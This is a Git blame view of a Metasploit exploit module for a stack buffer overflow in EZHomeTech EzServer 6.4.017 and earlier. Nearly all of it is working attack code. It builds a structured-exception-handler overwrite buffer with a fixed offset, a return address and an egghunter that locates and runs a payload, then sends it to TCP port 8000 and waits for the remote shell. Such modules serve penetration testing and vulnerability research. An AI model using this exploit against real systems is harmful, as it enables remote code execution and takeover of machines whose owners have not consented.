Files
metasploit-gs/modules/exploits/windows/http/ezserver_http.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

90 lines
2.5 KiB
Ruby
Raw Normal View History

2012-06-19 02:05:25 +07:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-06-19 02:05:25 +07:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-06-19 02:05:25 +07:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::Seh
2012-06-18 22:44:17 +02:00
2012-06-19 02:05:25 +07:00
def initialize(info = {})
super(update_info(info,
2014-03-11 12:07:27 -05:00
'Name' => 'EZHomeTech EzServer Stack Buffer Overflow Vulnerability',
2012-06-18 22:44:17 +02:00
'Description' => %q{
2014-03-11 12:07:27 -05:00
This module exploits a stack buffer overflow in the EZHomeTech EZServer
for versions 6.4.017 and earlier. If a malicious user sends packets
containing an overly long string, it may be possible to execute a
payload remotely. Due to size constraints, this module uses the
Egghunter technique.
2012-06-19 02:05:25 +07:00
},
2012-06-18 22:44:17 +02:00
'License' => MSF_LICENSE,
'Author' =>
2012-06-19 02:05:25 +07:00
[
'modpr0be<modpr0be[at]spentera.com>' # Original discovery and Metasploit module
2012-06-19 02:05:25 +07:00
],
2012-06-18 22:44:17 +02:00
'References' =>
2012-06-19 02:05:25 +07:00
[
[ 'OSVDB', '83065' ],
2012-06-20 22:08:58 +02:00
[ 'BID', '54056' ],
2012-06-19 02:05:25 +07:00
[ 'EDB', '19266' ],
[ 'URL', 'http://www.spentera.com/2012/06/ezhometech-ezserver-6-4-017-stack-overflow-vulnerability/' ]
2012-06-19 02:05:25 +07:00
],
'DefaultOptions' =>
{
2015-09-01 10:46:54 +02:00
'EXITFUNC' => 'thread'
2012-06-19 02:05:25 +07:00
},
2012-06-18 22:44:17 +02:00
'Platform' => 'win',
'Payload' =>
2012-06-19 02:05:25 +07:00
{
'BadChars' => "\x00\x0a\x0d\x20\x2e\x2f\x3a",
'DisableNops' => true
2012-06-19 02:05:25 +07:00
},
2012-06-18 22:44:17 +02:00
'Targets' =>
2012-06-19 02:05:25 +07:00
[
[ 'EzHomeTech EzServer <= 6.4.017 (Windows XP Universal)',
{
2012-06-18 22:44:17 +02:00
'Ret' => 0x10212779, # pop ecx # pop ebx # ret 4 - msvcrtd.dll
'Offset' => 5852
2012-06-19 02:05:25 +07:00
}
2012-06-18 22:44:17 +02:00
],
2012-06-19 02:05:25 +07:00
],
2012-06-18 22:44:17 +02:00
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-06-18',
2012-06-18 22:44:17 +02:00
'DefaultTarget' => 0))
2012-06-19 02:05:25 +07:00
register_options([Opt::RPORT(8000)])
2012-06-19 02:05:25 +07:00
end
def exploit
connect
eggoptions =
{
:checksum => true,
:eggtag => "w00t"
}
2012-06-18 22:44:17 +02:00
2012-06-19 02:05:25 +07:00
hunter = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
2012-06-18 22:44:17 +02:00
egg = hunter[1]
2012-06-19 02:05:25 +07:00
buff = rand_text(target['Offset'] - egg.length) #junk
buff << egg
buff << make_nops(32)
buff << generate_seh_record(target.ret)
buff << make_nops(16)
buff << hunter[0]
buff << rand_text_alpha_upper(500)
print_status("Triggering shellcode now...")
print_status("Please be patient, the egghunter may take a while..")
2012-06-18 22:44:17 +02:00
2012-06-19 02:05:25 +07:00
sock.put(buff)
handler
disconnect
end
end